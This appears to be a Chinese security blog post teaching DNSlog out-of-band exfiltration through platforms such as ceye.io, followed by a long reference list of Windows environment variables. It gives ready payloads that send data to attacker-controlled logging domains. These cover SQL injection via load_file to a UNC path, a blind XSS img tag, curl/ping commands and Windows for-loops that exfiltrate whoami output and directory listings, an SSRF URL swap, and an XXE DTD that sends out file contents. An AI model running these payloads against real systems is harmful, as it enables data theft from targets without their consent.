首页 > 技术文章 > DNSlog注入

-qing- 2019-03-29 19:57 原文

原理:

 

首先需要有一个可以配置的域名,比如:ceye.io,然后通过代理商设置域名 ceye.io nameserver 为自己的服务器 A,然后再服务器 A 上配置好 DNS Server,这样以来所有 ceye.io 及其子域名的查询都会到 服务器 A 上,这时就能够实时地监控域名查询请求了,图示如下。

 

 

 

 

DNS在解析的时候会留下日志,咱们这个就是读取多级域名的解析日志,来获取信息
简单来说就是把信息放在高级域名中,传递到自己这,然后读取日志,获取信息

 

利用场景:

sql注入时为布尔盲注、时间盲注,注入的效率低且线程高容易被waf拦截,又或者是目标站点没有回显,我们在读取文件、执行命令注入等操作时无法明显的确认是否利用成功,这时候就要用到我们的DNSlog注入。

 

 

 

 

推荐平台:

http://www.dnslog.cn

http://admin.dnslog.link

http://ceye.io

 

当然你可以根据开源源码自己搭建dnslog服务器,这里贴上BugScan团队开源源码

https://github.com/BugScanTeam/DNSLog

 

 

 

 

 

这里我就拿ceye.io平台 注册演示。

 

 

 

 

他会给你一个三级域名,你把信息写在第四级域名上就好了比如我这里访问secquan.xxxx.cece.io ,访问之后就会有查询记录。

 

 

 

 

 

 

 

A)利用一:sql注入

不论是bool型盲注还是时间型盲注,都需要频繁的跑请求才能够获取数据库中的值,在现代WAF的防护下,很可能导致IP被ban。我们可以结合DNSLOG完美快速的将数据取出。如遇到MySql的盲注时,可以利用内置函数load_file()来完成DNSLOG。load_file()不仅能够加载本地文件,同时也能对诸如\\www.test.com这样的URL发起请求。

show variables like '%secure%';查看load_file()可以读取的磁盘。

1、当secure_file_priv为空,就可以读取磁盘的目录。

2、当secure_file_privG:\,就可以读取G盘的文件。

3、当secure_file_privnullload_file就不能加载文件。

  

通过设置my.ini来配置。secure_file_priv=""就是可以load_flie任意磁盘的文件。

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

mysql命令行执行:select load_file('\\\\afanti.xxxx.ceye.io\\aaa');其中afanti就是要注入的查询语句

查看平台,dnsLog被记录下来。

 

 

 

 

 

 

 

 

PS:稍微解释一下这个语句,这里使用concat函数将(select database())得到的内容作为查询url的一部分,和我们的平台三级域名拼接组合成一个四级域名,而load_file函数会通过dns解析请求,所以我们在dnslog平台就可以看到查询的记录(包含着我们注入出的数据)

 

 

 

 

 

对于表段,由于load_file()一次只能传输一条数据,所以查询的时候需要使用limit来一个一个的解析。

 

 

 

 

 

 

 

 

B)利用二:XSS跨站

通过盲打,让触发者浏览器访问预设至的链接地址,如果盲打成功,会在平台上收到如下的链接访问记录:

payload:><img src=http://xss.xxxx.ceye.io/aaa>src请求我们的dnslog平台

 

 

 

 

 

C)利用三:命令执行

 

针对不回显的命令注入漏洞,我们很难确定漏洞的存在并进一步利用,针对这种情况,我们可以利用DNSLOG来获取命令的执行结果。

 

*nix
curl http://haha.xxx.ceye.io/`whoami`

 

 ping `whoami`.xxxx.ceye.io

Windows
ping %USERNAME%.xxx.ceye.io

 

 

 

 

这里的%username%为用户变量

附上windows常用变量

%APPDATA% :  列出应用程序数据的默认存放位置。

%CD% :  列出当前目录。

%CLIENTNAME% :  列出联接到终端服务会话时客户端的NETBIOS名。

%CMDCMDLINE% :  列出启动当前cmd.exe所使用的命令行。

%CMDEXTVERSION% :  命令出当前命令处理程序扩展版本号。

%CommonProgramFiles% :  列出了常用文件的文件夹路径。

%COMPUTERNAME% :  列出了计算机名。 

%COMSPEC% :  列出了可执行命令外壳(命令处理程序)的路径。

%DATE% :  列出当前日期。

%ERRORLEVEL% :  列出了最近使用的命令的错误代码。

%HOMEDRIVE% :  列出与用户主目录所在的驱动器盘符。

%HOMEPATH% :  列出用户主目录的完整路径。

%HOMESHARE% :  列出用户共享主目录的网络路径。

%LOGONSEVER% :  列出有效的当前登录会话的域名控制器名。

%NUMBER_OF_PROCESSORS% :  列出了计算机安装的处理器数。

%OS% :  列出操作系统的名字。(Windows XP 和 Windows 2000 列为 Windows_NT.)

%Path% :  列出了可执行文件的搜索路径。

%PATHEXT% :  列出操作系统认为可被执行的文件扩展名。 

%PROCESSOR_ARCHITECTURE% :  列出了处理器的芯片架构。

%PROCESSOR_IDENTFIER% :  列出了处理器的描述。

%PROCESSOR_LEVEL% :  列出了计算机的处理器的型号。 

%PROCESSOR_REVISION% :  列出了处理器的修订号。

%ProgramFiles% :  列出了Program Files文件夹的路径。

%PROMPT% :  列出了当前命令解释器的命令提示设置。

%RANDOM% :  列出界于0 和 32767之间的随机十进制数。

%SESSIONNAME% :  列出连接到终端服务会话时的连接和会话名。

%SYSTEMDRIVE% :  列出了Windows启动目录所在驱动器。

%SYSTEMROOT% :  列出了Windows启动目录的位置。

%TEMP% and %TMP% :  列出了当前登录的用户可用应用程序的默认临时目录。

%TIME% :  列出当前时间。

%USERDOMAIN% :  列出了包含用户帐号的域的名字。

%USERNAME% :  列出当前登录的用户的名字。

%USERPROFILE% :  列出当前用户Profile文件位置。

%WINDIR% :  列出操作系统目录的位置。 

[/size][/align][align=left][size=3]变量 类型 描述 

%ALLUSERSPROFILE% 本地 返回“所有用户”配置文件的位置。 

%APPDATA% 本地 返回默认情况下应用程序存储数据的位置。 

%CD% 本地 返回当前目录字符串。 

%CMDCMDLINE% 本地 返回用来启动当前的 Cmd.exe 的准确命令行。 

%CMDEXTVERSION% 系统 返回当前的“命令处理程序扩展”的版本号。 

%COMPUTERNAME%  系统 返回计算机的名称。 

%COMSPEC%  系统 返回命令行解释器可执行程序的准确路径。 

%DATE%  系统 返回当前日期。使用与 date /t 命令相同的格式。由 Cmd.exe 生成。有关 date 命令的详细信息,请参阅 Date。 

%ERRORLEVEL%  系统 返回上一条命令的错误代码。通常用非零值表示错误。 

%HOMEDRIVE%  系统 返回连接到用户主目录的本地工作站驱动器号。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。 

%HOMEPATH%  系统 返回用户主目录的完整路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。 

%HOMESHARE%  系统 返回用户的共享主目录的网络路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。 

%LOGONSERVER%  本地 返回验证当前登录会话的域控制器的名称。 

%NUMBER_OF_PROCESSORS%  系统 指定安装在计算机上的处理器的数目。 

%OS%  系统 返回操作系统名称。Windows 2000 显示其操作系统为 Windows_NT。 

%PATH% 系统 指定可执行文件的搜索路径。 

%PATHEXT% 系统 返回操作系统认为可执行的文件扩展名的列表。 

%PROCESSOR_ARCHITECTURE%  系统 返回处理器的芯片体系结构。值:x86 或 IA64(基于 Itanium)。 

%PROCESSOR_IDENTFIER% 系统 返回处理器说明。 

%PROCESSOR_LEVEL%  系统 返回计算机上安装的处理器的型号。 

%PROCESSOR_REVISION% 系统 返回处理器的版本号。 

%PROMPT% 本地 返回当前解释程序的命令提示符设置。由 Cmd.exe 生成。 

%RANDOM% 系统 返回 0 到 32767 之间的任意十进制数字。由 Cmd.exe 生成。 

%SYSTEMDRIVE% 系统 返回包含 Windows server operating system 根目录(即系统根目录)的驱动器。 

%SYSTEMROOT%  系统 返回 Windows server operating system 根目录的位置。 

%TEMP% 和 %TMP% 系统和用户 返回对当前登录用户可用的应用程序所使用的默认临时目录。有些应用程序需要 TEMP,而其他应用程序则需要 TMP。 

%TIME% 系统 返回当前时间。使用与 time /t 命令相同的格式。由 Cmd.exe 生成。有关 time 命令的详细信息,请参阅 Time。 

%USERDOMAIN% 本地 返回包含用户帐户的域的名称。 

%USERNAME% 本地 返回当前登录的用户的名称。 

%USERPROFILE% 本地 返回当前用户的配置文件的位置。 

%WINDIR% 系统 返回操作系统目录的位置。

 

%allusersprofile%--------------------所有用户的profile路径

 

%Userprofile%-----------------------当前用户的配置文件目录

 

%Appdata%--------------------------当前用户的应用程序路径

 

%commonprogramfiles%-------------应用程序公用的文件路径

 

%homedrive%------------------------当前用户的主盘

 

%Homepath%------------------------当前用户的主目录

 

%programfiles%----------------------应用程序的默认安装目录

 

%systemdrive%----------------------系统所在的盘符

 

%systemroot%-----------------------系统所在的目录

 

%windir%----------------------------同上,总是跟systemroot一样

 

%tmp%------------------------------当前用户的临时目录

 

%temp%-----------------------------同上临时目录

 

 

 

 

Windows还可以有这些姿势

利用HTTP请求将结果使用默认浏览器弹出:

for /F %x in ('whoami') do start http://xxx.dnslog.link/%x

利用DNS请求获取计算机名、用户名:

获取计算机名:for /F "delims=\" %i in ('whoami') do ping -n 1 %i.xxx.dnslog.link

获取用户名:for /F "delims=\ tokens=2" %i in ('whoami') do ping -n 1 %i.xxx.dnslog.link

探测目录文件列表,由于dir有/b参数,不显示修改日期等信息,只显示文件名,所以可以弹出:

for /F %x in ('dir /b C:\') do start http://xxx.dnslog.link/[%x].jpg

 

 

 

 

 

 

 

为了防止内容不适合作为域名的一部分,我们也可以base64编码后再进行请求。

比如我们在kali下使用curl请求。这里将\n换行换成了-

 

 

 

 

 

 

解码看看  明显看到我们ifconfig命令的回显。

 

 

 

 

 

 

 

D)用四:SSRF

 

这个没什么好说的,直接上payload,我们直接将ssrf中地址换成我们的dnslog平台

 

比如原本我们利用的是url=127.0.0.1:8080

利用dnslog就换成 url=xxx.cece.io

然后看我们的dnslog平台是否有服务器的IP来判断。

 

 

 

 

 

 

 

 

E)用五:XXE

当我们遇到XXE,如果这个XXE漏洞可以解析外部实体,那么不用说,就可以拿来读取本地服务器文件,这时,我们只需把dtd文件改成这样

<!ENTITY % all

"<!ENTITY % send SYSTEM 'http://xxxx.ceye.io/%file;'>"

>

%all;

    在我们的ceye平台就可以接收到这个读取的服务器文件了。

 

 

 

 

最后的最后,关于dnslog利用的脚本自动化

https://github.com/ADOOO/DnslogSqlinj

 

推荐阅读